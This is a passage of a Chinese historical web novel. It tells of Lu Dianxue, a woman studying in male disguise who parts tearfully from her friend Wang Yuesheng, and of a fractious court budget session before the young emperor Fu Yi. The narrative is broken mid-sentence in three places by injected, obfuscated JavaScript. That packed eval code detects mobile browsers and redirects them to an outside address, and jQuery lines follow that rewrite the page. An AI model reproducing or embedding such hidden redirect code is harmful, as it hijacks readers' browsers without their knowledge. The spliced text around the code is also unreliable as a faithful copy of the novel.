;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505096|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,在止于至善。
夫子讲得极好,文章剖析得很透彻,世间道理千千万,全都精炼在夫子的三言两语当中。
她举着柳枝,沉浸在学海之中,久久不能平静。
无意间瞥到身后一团黑影,她匆匆回头,却见自己的爹爹早已在柳树下站了许久。
飞絮一动不动地积在他的发顶上,仿佛骤然间白了头。
翌日,卢父一早就上了黄山。
直至几日后,夕阳缓缓落下,他才带着一箩筐毛峰回了家。
新茶白毫披身,芽尖峰芒,看着倒像是沾上了零星的雪花。
卢父将这些生茶尽数炒了。
生锅,青锅,熟锅,三锅相连。
一半卖了换银钱作路费,一半留给二丫作孝敬先生的束脩。
卢二丫临走前,卢母的神智突然恢复了。
她做了好多徽墨酥和梅干菜烧饼,塞了卢二丫满满一怀,要她慢慢吃,别饿着了自己。
于是卢二丫走了,背着徽墨歙砚,拢着宣纸宣笔,就此出了黄山,前往金陵。
六朝金粉豪华尽,惟有秦淮一片云。【2】
一路上她跟棵蓬草一般,漂泊无依。
卢二丫好不容易来到女子学堂,却闻得李执先生不在,四处云游讲学去了。
靠着毛峰茶,学堂里的夫子才难得搭理了她一下,放她进去读书。
但是卢二丫只能搬个椅子坐在后面听,连块写字的案几都没有。
有时候,她觉得自己像是一粒沙,被秦淮河里的激流裹挟着,不知何去何从。
某日她去夫子庙祭孔,路过内秦淮河,却被倚在门框上无所事事的老鸨给盯上了。
如若不是里头恰好有个姑娘走了出来,将她带离那片苦海,卢二丫还不知会落入何等境地。
那姑娘不怎么说话,就死死拽着她往前走,一路无言。
卢二丫偶然瞥见那姑娘露出的一截手腕,很是纤细。
一只成色极好的玉镯挂在上面,却显得空荡荡的,看着随时都快掉下来似的。
后来她才知道那姑娘名唤王月生,是十里秦淮的头等红倌人。
月生姑娘矜贵寡言笑,多少帮闲费劲心思都无法勾其一粲。
可如此一个褒姒似的美人,却带着她去了闵老子那饮茶。
知她是徽州人士,闵老子特意煮了盏松萝茶,色泽绿润,香气高爽。
她啜着乡关熟悉的味道,倏地落了泪。
本是略带苦涩的茶,却愣是品出了半盏的咸味儿来。
之后她在书院愈加勤恳,就连夫子也不时频频侧目,颇为惊叹。
适逢一日,李执回书院,太傅云离作陪,与之一同讲学。
李夫子见她虽位于一隅,回话时却毫不忸怩,宛若黄山之劲松,傲霜斗雪。
李执惊奇,亲自指点她的文章,见其署名卢二丫,不由问起了她的来历。
而后细细听完,发出一阵长叹,良久未语。
卢二丫久久等不到李先生发话,心中惴惴然,面上渐生局促之色。
最终还是云离察觉到了异样,暗中扯了扯李执的衣袖,替她解了围。
李执侧头沉思半响,轻言道:
“宋人尝言,余夜宿金山之方丈,不得寤,信手而抽几案文书,得此阅之,至洪炉点雪,恍然非平时之境。”【3】
“如此,见你聪慧之至,一点即透,日后便唤作卢点雪,做老夫的门生,可好?”
19. 第 19 章
对卢点雪来说,之后发生的一切仿佛如梦一般。
被自己一直倾佩的师长收为门生,在学堂里和师姐师妹们一起谈心论道。
虽然李执常被世人称之为“狂僧”,做事素来随心所欲,离经叛道,但在卢点雪心里,先生一直是个很厉害的人。
他主动辞官,落发为僧,设立学院,传授新课。
他的讲学没有门第之见,既收鸿儒学者,又收贩夫走卒。
甚至还有不少已婚妇女与寡妇。
二十年间,声名大燥,士大夫望风而拜,山野村闲竞相投学。
他目空一切,自立门户。有教无类,门生遍布。
闲来时,李执也会逗弄逗弄一直埋头苦读的卢点雪,说她性子木讷着实无趣,不如多出去走动走动,开阔眼界。
于是他四处云游讲学的同时,顺带着把自己的小徒弟给捎上了。
为方便出行,卢点雪就时常扮作小厮模样,平日里一声不吭地跟在先生后面。
不知情者,还以为这是李先生的小书童。
一日舟过金山,师徒二人登临山寺,夜观月色。
江山自雄丽,风露与高寒。寄声月姊,借我玉鉴此中看。
李执倏地来了兴致,硬拉着卢点雪同他一起举杯邀月,醉舞长啸。
幽壑鱼龙悲啸,倒影星辰摇动,海气夜漫漫。涌起白银阙,危驻紫金山。
似是忆起了徒弟名字的由来,亦或是触景生情,他纵声吟诵起张孝祥的《水调歌头金山观月》,大笑着让徒儿好好看看这一切。
表独立,飞霞佩,切云冠。漱冰濯雪,眇视万里一毫端。
那一幕,是卢点雪一生也难以忘却的情景。
彼时老人指着眼前胜景,问她可否有所感悟?
他说话间,山中有微风拂过,轻轻地吹起卢点雪颊侧的碎发。
卢点雪并没有即刻应答,而是闭上眼,静心感受着。
而后睁开了眸子,眼中净是一片凛然之气:
“澄怀观道,静照忘求,当如是也。”
然而大都好物不坚牢彩云易散琉璃脆。【1】
她的这场梦,很快也就醒了。
先是李执结的学社常有人来砸场子,紧接着便是圣上亲自批示,以“惑世诬民”的罪名将他打入诏狱。
同年,李执自刎于狱中,所藏之书皆焚尽。
想到此事,卢点雪的心口不免一痛。
先生逝后,他的女子学堂自然也没了主事人。
女学生们陆陆续续走了,复又回到闺房,重新拿起针线,规规矩矩地绣着她们手中那一帕天地。
李执先生对她们的教导,似乎并未能在她们的年华染上不一样的色彩。
卢点雪不怪她们。
她只叹息,世间女子生存之不易。
世道如此之艰,世人偏见之重,被圈在阁中的女子怎可尽扛得住。
最终学堂被一把大火烧了个干净,但卢点雪并不想放弃。
《汉书五行志》曰:风俗狂慢,变节易度,则为剽轻奇怪之服,故有服妖。
兴许是有了李执这么一个异端的存在,金陵的服妖之风愈盛。
不光是妇女的服饰随时异制,还有女戴男冠,男穿女裙者。
于是卢点雪听从了好友王月生的提议,女扮男装,借由先太傅云离之手进入崇正书院读书,暗中则以男子的身份,继续经营着学社。
所幸,她所做的努力没有白费。
朝廷虽是处置了李执,但并没有下令铲除他所创的学社。
女子学堂是被烧了,可那些曾经听过他讲学的人还在。
其中不乏有识之士汇聚而来,合十七家文社为一,最终称为“原社”。
“原”意为推究、探求,原毁原,道阻且长。【2】
在这些人的支持下,原社的规模越来越大。
而她卢点雪,也从学社里一个岌岌无名的小辈,逐渐成为独当一面的一员。
时而王月生也会同她一起,着生员服饰,与诸多名士同席而坐,谈文论艺。
若是她想再更进一步,唯有此举可成。
点雪若有所思地望向西边。
那是——江南贡院的方向。
不出卢点雪所料,她这茶还没喝多久,云卷云舒就急吼吼地带着报录人跑到鹫峰寺,向她报喜来了。
卢点雪听后,神色一如既往地平静。
倒是身旁的王月生面露不虞,蹙着细眉,小声埋怨二人怎可在佛门清净地喧哗。
不待报录人将报帖挂起,云舒与闵老子便喜气洋洋地将其一把夺过,带着卢王二人径直去了云府吃庆功宴。
就连素来“吝啬”的云梵,也喊了晚晴楼的小厮来送菜。
一行人欢天喜地吃了一顿,好生热闹!
饭后,卢点雪才郑重发话,说是春闱前她要回趟徽州老家,是以今年就不与大家在金陵过年了。
她想看望看望父母,亲口将这个好消息告诉她的爹爹与娘亲。
转眼间,出发的日子就到了。
这一顿,众人吃得都很是沉默。
就连同卢点雪最为交好的王月生也一直默不作声,只顾低着头喝茶,都未曾正眼瞧过卢点雪一眼。
之后,王月生说是要替卢点雪整理仪容,便将众人通通都哄走,徒留她二人在西厢房内促膝长谈。
梳妆镜前,卢点雪闭着眼,微抬起头,乖巧地等着王月生一如既往地替她描眉画眼,做男子扮相。
可是她等了许久,迟迟没感到黛石落下的触感。
卢点雪有些困惑。
她侧了侧脑袋,甫一抬眼,那人却快她一步,一伸手,把她的眼睛给捂了个严严实实。
卢点雪一愣。
她下意识动了动身子,耳边却传来王月生略带哭腔的声音,恶狠狠地说着“别动”。
被突然吼了这么一下,卢点雪是不敢再动,就乖乖坐着,眼睛复又顺从地闭上。
她的睫毛有些长,在王月生的手掌心上轻轻扫过,弄得对方略有些痒意,不太自在。
沉默许久,王月生才接着开口,说出了今日她跟卢点雪的第二句话:
“再乱动,这眉可就画歪了。”
“你画的,歪了也好看。”
卢点雪的嘴角微微弯起,真诚夸赞道。
她本是想舒缓一下氛围,未料对方反倒是面色剧变,顿时疾言厉色了起来,
“我曾与你说了多少次,画眉的时候不要乱动,怎就是不听?你可知,这是我最后一次为你画眉了!”
然而话还未说完,澎湃的情绪一下子涌上心头。
王月生的泪水止不住地往下掉,双手却仍是紧紧按住卢点雪的双眼。
“你入京后,万一自己画得男子扮相不像该如何?出了这应天府,还有谁能护着你呢?”
卢点雪不语,只是任由王月生按着,尔后缓缓将手覆道她的手上,坚定道:
“不会的,你素来知我严谨细致,不会在此处出错。更何况我长得本就偏男相,旁人乍一看也看不出。倒是你,怕我被旁人看出是女子身而费尽了心思,这么多年来烦你一直为我劳神费心,辛苦了。有姊妹如此,卢点雪此生无憾。”
闻言,王月生猛地松开了手,跌坐在地,终于哭出声来。
卢点雪也急忙从椅子上滑到了地上,下意识地伸手搂住王月生,不知所措。
她还从未见过月生在她面前哭过。
自己倒是在人家面前哭了不少次,初来金陵时的落魄样全被对方尽收眼底。
如若之后不是月生救她出秦楼楚馆,教她如何扮男装掩人耳目,带她结识闵老子生等一干好友,自己之后是否还能在金陵过活下去,卢点雪不知。
她只知,人要知恩图报。
所以她要报答月生,月生有事,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505097|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她定前去相助;月生伤心难过了,她定要好生安慰。
可是这么多年以来,她却从未见月生掉过眼泪。
月生不爱笑,也不爱说话,平日里只喜欢在露台边看秦淮河水潮起潮落,凭栏而望,孑然一身。
春江潮水连海平,海上明月共潮生。
《春江花月夜》的曲子,秦淮河上的姑娘们都会唱。
余音袅袅,婉转悠扬,却都没月生唱得好听。
可惜月生不轻易出口,卢点雪也无福听到月生唱上这么一支曲儿。
时间久了,每每听到旁人唱及时,卢点雪就会不自觉浮想联翩。
时人所云月生“月中仙子花中王,第一姮娥第一香”。
可卢点雪总觉得这句话说得对,又有些不对。
思来想去,卢点雪该是觉得月生就是那九重天上的一轮孤月,跌落在市井滚滚红尘之中。
世间无人懂她的孤寂,是以只能寄托于天地之间。
不知乘月几人归,落月摇情满江树。
日后二人熟了,卢点雪曾有次大着胆子,好奇地问过王月生是不是不会哭,不然为何自己从未见过那一滴珍贵的鲛人泪。
彼时杨柳依依,落英缤纷,她等了许久,一如既往没等到月生的回答。
卢点雪后知后觉,这才发现这话比较冒犯。
她心中惶恐,方欲道歉,意外间却听到月生开了口。
“会的”,王月生的声音微弱,几不可闻,“夜深忽梦少年事,梦啼妆泪红阑干。”
现如今,月生却在她面前放声大哭,哭得上气不接下气,哽咽着问道:
“你可知自己这一去,若是春闱不中,倒也无人在意平安无事;可若是中了,那便是欺君之罪万劫不复了啊!”
“我知道,”卢点雪轻轻拍着王月生的背,为她顺着气,低声安慰,
“可这亦是我毕生所愿。承蒙先生不弃,我才得以入了他的女子学堂读书。承蒙云太傅指点,我才能拜李先生为师。承蒙云降心云卷云舒奔波,我才能在这金陵城内过活,还能在此与你促膝长谈。若无诸位相助,我无已至今日,是故我去意已决,不必强留。”
一语毕,王月生啜泣,久久不语。
卢点雪也不出声,怕月生更为伤心,就这么一直紧紧地拥着她。
一炷香过去,王月生终于止住哭声,语气镇定下来。
“起身,时晨不早了,我替你描眉。”
她将卢点雪扶起,捡起螺黛,细细地将卢点雪的眉毛描浓了一遍又一遍。
画完后,王月生久久凝视着卢点雪。
“你还记得楚生姐姐唱过的女戏吗?前不久她才唱过《孽海记》里头的那一折《思凡》,彼时你在温书,我便没拉你过去捧场。先前可曾听过?”
“未曾听过,讲的是什么?”
“没什么,既没听过,那我便为你唱一段送个别吧。”
王月生伸指,点了点卢点雪眉间,沉声道,
“你这副模样,倒还真有几分观音菩萨的样子,男女相,随缘示现,应化无穷。”
说罢,也不等卢点雪回话,断断续续地唱了一小段折子戏,
“小尼,赵氏,法名色空。自幼在仙桃庵出家,终日烧香念佛;到晚来,孤枕独眠,好不凄凉人也。”
………
“奴本是女娇娥,又不是男儿汉。为何腰盘黄绦,身穿直裰?”
唱到此处,王月生的脸上复又滑下两行清泪。然下一刻,就被她用袖子速速抹去。
“我已答应应天府尹甘清做他的妾室,只求他保你会试时女儿身不暴露。此去经年,应是良辰好景虚设,你保重好自己,莫负念我。”
语毕,即快走而去。
卢点雪愕然,反应过来时,只见到了那人匆匆离去时的衣角。
如同秦淮河畔因风而起的柳絮,从天际飘落,掠过回廊一角,彻底沉寂。
20. 第 20 章
靖安三十四年春,新皇改元启祯,大赦天下。
启祯元年,正月十五,依照常例,一年一度的财政会议将于今日召开。
傅谊先前从未见过这般情形,是以打起十二分的精神来应对。
不过他也不甚了解宫中的各项开支如何,平日里陶王府的诸多事务都是全由娘打理。
昨日娘还怕他今个儿算不明白账,特意给他恶补了一番,以至于今晨傅谊的头还是昏的。
不过如此一来,他好歹也算稍微清楚了些,免得接下来被群臣绕得团团转,不知所以然。
不过在算帐前,还有些事需要群臣议一议。
在众人的注视下,户部侍郎萧藩,如今又兼了个工部侍郎职位的小阁老出列了。
只是萧藩话一出口,傅谊就变了脸色。
崇正党的人仍不死心,依旧执着于让新皇入孝宗嗣。
之前明明连国舅爷岳渊峙都松了口,答应亲自拟一封奏疏呈给皇上。
他的奏疏经由通政司,堂堂正正地送到了萧锵和萧藩的眼皮子底下,一整套流程绝无弄虚作假的可能。
通政使是萧首辅的心腹,自然不会出什么问题。岳渊峙的奏本他们也看过了,言辞也算诚恳。
然而最终皇上那儿没了声响,岳渊峙也忽然改口,说是不想再掺和此事了。
这怎能让萧藩咽得下这口气?
是以今日他就要亲自来上这个奏本,莱问问皇上!
听着萧藩义正言辞的声音,傅谊的面色渐渐阴沉了下来。
之前他已忍了这群人太久,只是让司礼监留中不发,都未曾苛责过他们。
况且太子哥哥之死,傅谊没少怀疑过崇正党,只是苦于没有任何证据。
若不是娘和舅父拼了命地劝他不要意气用事,否则崇正党一倒,内阁乃至整个朝廷,势必乱成一团散沙。
现如今,萧藩这瞎了眼的竟敢蹬鼻子上脸!
如果现在并非是在朝会上,他真想让赵除佞即刻把萧藩那张喋喋不休的破嘴给堵起来!
傅谊眉毛一竖,正欲大发雷霆。
岳渊峙本就暗中观望着傅谊的神色,见情况不妙,当即站出来夺了话头,把矛盾引到了宋骥身上:
“萧侍郎此话未免有些操之过急。宋寺卿还未将先皇生前之朱丸案判出个所以然,未给天下及先太子一个交待。而萧侍郎却如此急促地催圣上入孝宗嗣,岂不是要陷陛下于不孝?您倒不如问问宋寺卿案子查得怎么样了?”
此话一出,全场的目光霎时全落到了大理寺卿宋骥的身上。
尤其是萧藩,其眼神之犀利,就跟要活剜了他似的。
然而宋骥眼观鼻鼻观心,丝毫不慌乱,从容不迫地回答道:
“回皇上,臣已与程阁老商议过了。大理寺和太医署皆未曾查出吏科给事中何裘与蓝通玄蓝道长谋害先帝的证据。虽说何裘的仙丹或许起了些许作用,但其丹方不可辩其真伪,而先帝之死又确因二人所起,此间关系逃脱不得,故臣请陛下罢免二人官职,将蓝通玄驱逐出宫。”
闻言,朝廷百官皆汗颜。
如此大一个案件,甚至有可能涉及到谋逆,大理寺拖拖拉拉了大半年不肯解决,最终做出的竟是这么一个判决。
这两头都不得罪的做法,还真是一如既往地符合宋骥这个老狐狸的行事作风。
朱丸案事发后,同宋骥一般两边都不投靠的人可不少,就等着看崇正党和阉党怎么“礼尚往来”。
崇正党一派大都出自于江南那几个常出进士的地区,尤其排外,非江南出身的官员不可。
而坐落于金陵的崇正书院可谓是江南最大的书院,其影响之深不言而喻。
纵算先帝有意打压崇正党,也就只有赵除佞这么一枚棋子拿得出手。
偌大一个朝廷,竟无旁人可与之抗衡。
不过与此相比,东厂厂公赵除佞那的门槛就低多了,来者不拒,多多益善。
且新皇即位后,更是有意扶持赵除佞。
赵除佞一个根都没有的太监,之所以能和崇正党斗得正凶,其背后少不了小皇帝的默许。
这些能在考场上杀出一条血路,入朝为官的人精,没一个是脑子糊涂的。
朝中中立派除了像宋骥这般家底够硬,做官纯粹是为了延续门楣;亦或是贫寒如程国泰和魏与归,赤脚的不怕穿鞋的,行事完全发乎内心,其余一直摇摆不定的官员,不免要为自己的前途考虑考虑。
这其中,就包括新任河南道掌道御史梁纲。
听完宋骥的奏言,他并不觉得惊讶,只是略微抬起眼,瞥了瞥龙椅上傅谊的反应。
显然,小皇帝是知情的。
换言之,这就是皇上亲自做下的决定。
在初登帝位根基不稳之时就得罪崇正党,这不是一个明智的选择。
可齐涵虚之死,他身为其友不敢忘怀。
梁纲的眼神一凝,冷冷地盯着萧家父子所站的方向。
新仇加旧怨,他不介意在适时的时候递上一把刀。
只是现在,还不是个发话的好时机。
岳渊峙和宋骥之语打了萧藩一个措手不及。
不过他脑子转得也快,明白宋骥此举也算是保全了他的脸面,不至于让崇正党牵扯进谋害先皇的罪名里。
萧藩当即顺阶而下,叩谢天恩,言皇威浩荡,回去后定让何裘返回原籍好好思过。
一直立在一边,冷眼旁观整场闹剧的魏与归难得开口,竟是主动挽留起了人:
“小阁老倒也不必如此急吼吼地把人赶回去。京察和大计将至,届时也不知有多少人会丢了乌纱帽,不妨再等等。若是何裘本人识趣,日后说不定也还能谋个一官半职。”
吏部尚书魏与归的嘴中素来讲不出什么好话,此话一出,又是唰唰得罪了不少人。
不过萧藩却是听出了魏与归的言外之意。
合着这人是怕京察和大计过后,六部上上下下职位空缺得太多,要把他这个吏部尚书忙得焦头烂额。
当然,若是当作他魏尚书不想让赵除佞那个死太监风头太盛,情愿卖首辅和崇正党一个面子,也不是不行。
他也没想到何裘居然还能有些作用。
原本都打算当枚弃子弃之不顾了,看来日后还要重新再做打算。
顺坡骑驴下的道理小阁老自然是懂的。
于是萧藩也不多做纠缠,直截了当地报完了户部和工部的账,径直回到队中。
陆陆续续的,鸿胪寺、礼部、兵部和吏部的官员也都相继报了账,都眼巴巴地等着司礼监来批红。
这些人口中每吐出一个数字,傅谊的脸色就更黑上一分。
首席秉笔太监赵除佞的神情也不大对劲,而掌印太监张乾更是咋舌不已。
虽说自己这个掌印太监的位子是靠赵除佞抬上来的,但对着这么多超支的票拟,他赵爷敢批红,自己可没这个胆子盖章啊!
底下群臣们如狼似虎的目光自己能当没看见,可龙椅上皇帝的脸色都快黑成锅底了!
显然,赵除佞也听不下去了,一开口便忍不住阴阳怪气:
“去年一年,国库财税收入才二千六百五十二万两,预算二千万两,实际支出三千二百三十万两,亏空了近四百七十万两,和预算相比又超支了一千二百多万两,这亏空尤以工部最多。小阁老,别怪咱家不给你批红,这工部可是归你管的。咱家要是批了你的票拟,别的几部还要不要批?”【1】
“厂公这话说得就不厚道了,”萧藩冷哼一声,不甘示弱,“天子脚下,厂公慎言!六部是皇上的六部,岂能说是我一个人的?臣不过是替皇上做事的一份子,在朝的诸位也皆是如此,谈不上什么你的我的他的。同为朝廷效力,户部和工部自当竭力而为之。既要为先皇修大殿,又要为先太子赶陵寝,宫里也知道这二者的开支着实规避不了。”
萧藩此话,不可谓不精明。
先把一顶大帽子扣赵除佞身上,随后又搬出先皇和先太子的名头震慑一番,末了还特意强调下‘宫里也知道’,把超支的过错都摘了个干干净净。
赵除佞侧身同另一位秉笔太监核实了一下,发现确有此事。
为先太子赶工修陵寝的开支确实不宜深究,素来是只可多不可少。倘若在这个时候提出质疑,萧藩定会借题发挥,说不定连带着圣上都要被扣上一个不悌的名声。
但赵除佞一时半会儿又不想让萧藩那么得意,目光一转,落到兵部尚书头上。
除却工部,超支第二多的便是兵部。
且不提辽东军饷军粮,户部一直扣着没发。兵部尚书又是个直脾气,听完萧藩的话,当场就在朝堂上大发雷霆。
兵部尚书直言不讳,表示自己不当这个冤大头,说是早在腊月二十六,他们兵部几个大老爷们就扒着算盘算好了账,核实完毕上交给户部。
当时他们的开支可是完全按年初的预算并未超支。但是昨日户部通知他去核实票拟之时,宣称兵部超支了一百七十六万两。
兵部尚书过去一看,发现这钱记在了兵部军饷的账上。
“不错,确实是有一百七十六万两的银子花在了平定西南边境土司作乱的军饷上面。”【2】
萧藩出面解释,却引得刑部尚书程国泰发出质疑。
“平定边境土司的军饷?且不说自播州一役后,近几年边境安分,用不着各地调兵平乱。而土司更是直属吏部,军方的驻屯调动不依行政划分而行,经常跨数府数县。若是想寻求地方支援粮饷,仅能靠各地兵备道来协济。照理说一处官府资金紧张时,当由兵备道负责出面协调,清查的协济费用也是由临近的州府出资,何需兵部额外派发军饷!”【3】
“程阁老这就有所不知了,”萧藩话说着,飞快地瞥了一眼武将所在的位置,似笑非笑道,“播州一役,若不是昆氏一族以全族之力倾囊相助,只怕西南至今尚不得安宁吧?
“虽说各界边境暂时还未有什么大动静,但些许摩擦与小骚乱是避免不了的,故而是由西南各地常常自行募兵解决。而各地为了不给朝廷添乱,自己内部能解决的问题自然也不会时时刻刻上报于朝廷。这点想必昆将军最是清楚不过,对吧?”
猝然被萧藩提到,定远大将军,礼部侍郎岳渊峙之妻昆玉霜有些意外。
她也觉得兵部这笔帐不太对,但萧藩显然是有备而来,话说得是滴水不漏,让她找不出错处。
方才萧藩将话头抛给了她,众目睽睽下她也无可奈何,只能顺势应答:
“确实如此。我忠州昆氏世受皇恩,承袭石柱宣慰使一职。播州之役先皇特下令,命先考在乡征兵两千急援桑木关,自此募兵在西南一带已成主流,萧侍郎这么说也没错。”
“等一下!舅——就此打住,昆将军,您还记得播州一役具体用了多少银子?”
一直在暗处默默扒着手指头算数的傅谊意识到了什么不对劲之处,狐疑发问。
昨晚母后才教导过他,也说了一些项目的正常开支数目。
而播州之役,他记得此战是先皇在位期间规模最大的一场战争,历时两年,耗费的白银更是数不胜数。
可是他怎么记得,打了这么久的播州之役,用的银子竟然跟萧藩方才报的数目差不了多少?
然而昆玉霜听言,蓦地一楞,不知如何回话。
播州之役是十七年前发生的事。
彼时她年岁也不大,被父母与兄长托付在来素来交好的岳家镖局里安置着,并没有跟着他们一同上战场。
后来没过多久,昆氏全族战死。她当即决意,披甲上马,整合父兄的残部,率五百精兵押送粮草,与副将扼守邓坎。【4】
换言之,播州之役她只打了下半程,所以具体情形她也不甚了解。
所幸兵部尚书知道昆玉霜这个情况,适时地替她解了围:
“回皇上,播州一役,朝廷用兵二十四万,历时一百一十四天,耗银三百六十二万余万两,其中用于善后的开支大概也在一百一十万两以上。所以说小阁老,你方才说西南边境的那些小打小闹花了一百七十六万两的军饷,竟然比播州之役的善后开支还要多,这笔账兵部可不敢认啊。”【5】
“呸,你们兵部还有脸跟我们户部谈播州之役的花销?”
一直默不作声的户部尚书终于忍无可忍,开口讥笑道:
“播州之役地方经费占六成,户部经费占三成,而兵部才占百分之四!要不是那时筹措的军饷大部分由地方解决,指望着你们兵部搞钱,人怕是还没到战场上就被饿死了!”
户部尚书这话说得是一点也不客气,上来就无情地揭了兵部捂了二十多年的老底。
兵部尚书老脸一红,一下子失语了。
平心而论,播州一役他们兵部确实没出多少力。
军饷是地方筹集的,仗也是集四川、贵州、湖广八省之力打的,要不是兵部侍郎总督三省军务颇有作为,整个兵部不得被弹劾的奏疏给淹了!
但一码事归一码事,去年萧藩强加于他们头上的一百七十六万两的军饷,兵部可不认!
兵部尚书左思右想,觉得自己气势上不能输,梗着脖子就与户部尚书吵了起来。
户部尚书也不是个吃素的。
见兵部尚书还是如此理直气壮,他更是气不打一处来。恰巧两人又站在一起,便挥起一拳直往兵部尚书的脸上砸。
兵部尚书的右眼霎时青了一块。
他正好也是一肚子火气没地方撒,立即与户部尚书扭打起来。
兵部和户部的属官见到自家尚书被揍,岂能忍!是以一个个都撩起袖子,不由分说加入战局。
傅谊头一次瞧见这样的情形,惊得眼睛都看直了。
尤其是户部尚书极为能打,拳拳到肉,没多久兵部尚书的脸就整个都肿了,看得傅谊心头一颤一颤的。
眼见着战局越来越混乱,傅谊深觉自己这个皇上是不是需要做点什么,好歹不能一直坐在龙椅上看热闹。
他轻咳了几声,声音被打骂声盖过,无济于事。
根本没人理他。
他将身子向前探去,挥了挥手,甚至还大喊了几句“莫要再打了!”,也无人注意到他。
毕竟此时朝廷上上下下,全场的目光都聚焦在那群打架的人身上。
程国泰本还在算着户部那的账,没想到一个没留神儿,旁边都已经大打出手。
他大为震撼,赶忙扯了几下魏与归的衣角,盼着这位军户出身的老朋友会如往常般二话不说直接拉架。
谁料魏与归根本就没理会程国泰,径直上前一步,贴心地为身后扭打成一团的人群让了位置。
或许也有可能是不想被波及到,总之他旁若无人般地站到大殿中央,沉了沉嗓子,朗声道:
“我有一事不明,想要请教
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505098|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小阁老。”
“魏阁老请讲,在下洗耳恭听。”
萧藩挑了挑眉,做了个“请”的手势。
“若我没有算错,为先皇修大殿的木材似乎用不上这么多钱?年初的预算本意是到播州运木料,运送楠木的船只从赤水河进入长江再从漕路北上,虽说波折是波折了点,可平定播州之乱后朝廷也派了不少人去稳定局势,何需如此耗银?这多余的开支,又是用到了何处?”
“魏阁老,若是人人都像您这般想当然,不计成本,那天底下的商人还要不要做生意了?”
萧藩无奈地捏了捏眉头,作势叹气道,
“先前播州完全是由当地土司管辖,向宫中上贡木材的差事自然落在宣慰司使头上。可播州一役后宣慰司使自尽,底下跟着他的人差不多也被杀了个干净。我们的人后来到播州后一勘察,山高林密,找不到路,更何况全无熟悉地形的当地山民作为引导,只能改成去临近州县找木料,适才多费了些功夫与银子。”
“既然山中无路,那为什么不提前勘测好了再上报朝廷?弄得国库这么大亏空,咱家要是给你批了红,是不是得由你来补亏空?!”
赵除佞说这话时,面色已是相当阴鸷,最后几字,几乎是咬着牙吐出来的。
萧藩却是一副浑不在意的模样,虚虚地向赵除佞拢了拢手,行了个敷衍至极的礼,摇了摇头道,
“哎厂公,别这么咄咄逼人啊,我们这也是一心为了先皇。我们工部日夜赶工,终于抢在年底前将宫里的几处殿宇给修好了。若不是我们费尽心思从播州附近弄来许多木材,还能余下不少为先皇与先太子造陵寝,不说功劳,工部总该是有些苦劳的。”
赵除佞本就被萧藩气得不轻,经萧藩这么一狡辩,更是怒极反笑,一连说了几个“好啊”。
正当两人僵持不下之时,殿中不知又何时冒出了另外一道声音:
“臣有一计,或许可替皇上分忧。”
傅谊原本正焦头烂额地看着户部尚书和兵部尚书打群架,还得分出心思去听萧藩与赵除佞在吵什么,实属不易。
现在又突然出现个陌生声音唤他,差点儿没回过神来。
傅谊连忙正襟危坐,微眯着眼,打量了下出声发话的那人。
似乎是叫梁纲,新任河南道掌道御史,与齐涵虚乃是同科进士,恰好也是同乡。
印象中,此人应是不久前才投靠向赵除佞的。
傅谊倒是不意外赵除佞会找梁纲一起共事。
虽然他原先也怨憎过赵除佞打死了离相先生的得意门生。可自他当皇帝以来,不免也从齐涵虚之死琢磨出了点别的意思。
赵除佞不是一个莽撞之人,相反还十分谨慎。
若自己没记错,赵除佞没发迹前,曾是想讨好崇正党的。
显然,崇正党眼高于顶,瞧不上一个阉人,嫌污了他们的名声。
之后估计先皇也是知晓了此事,这才提拔赵除佞,整了斋礁问话那么一出。
同时敲打敲打二方,让赵除佞和崇正党再无议和的可能。
齐涵虚就是崇正党他们手中一颗用来试探先皇态度的棋子罢了。
让人打死齐涵虚,十之八九也是先皇的授意。
傅谊这么一个不擅权术之人都想明白了,梁纲怎么可能想不出。
更何况梁纲现如今已是河南道掌道御史,京察大计的一部分主掌权在他手中,这样总比落到崇正党的手中要好。
于是傅谊正了正神色,洗耳恭听。
只听梁纲的声音不紧不慢,徐徐道来:
“皇上和厂公忧心国库的亏空,各部又亟需银钱用。而自古以来国家的财政无非就是开源节流四字,增加收入,节省开支。臣听小阁老和各位尚书大人的意思,这开支似乎是节俭不下来的,那我们不妨从源头抓起。更何况小阁老方才所言播州山中找不到路,这才放着偌大一个宝库置之不理,着实可惜!这些山中不止木材,还有诸多如矿藏石灰之类的资源可供开采,故臣提议派税使前往各地开矿,征收榷税,此举可救国家于水火之中。”【6】
“嗯,不错,说下去。那你以为,派谁过去最为合适?”
傅谊饶有兴致地问道,完全没留意到殿中打架的动静骤然小了很多。
“自然是皇上身边最为亲近之人。”
话说着,梁纲微微地垂下了头,借着手中的笏板,掩饰其眼中划过的一丝精光。
傅谊略微思忖,恍然大悟。
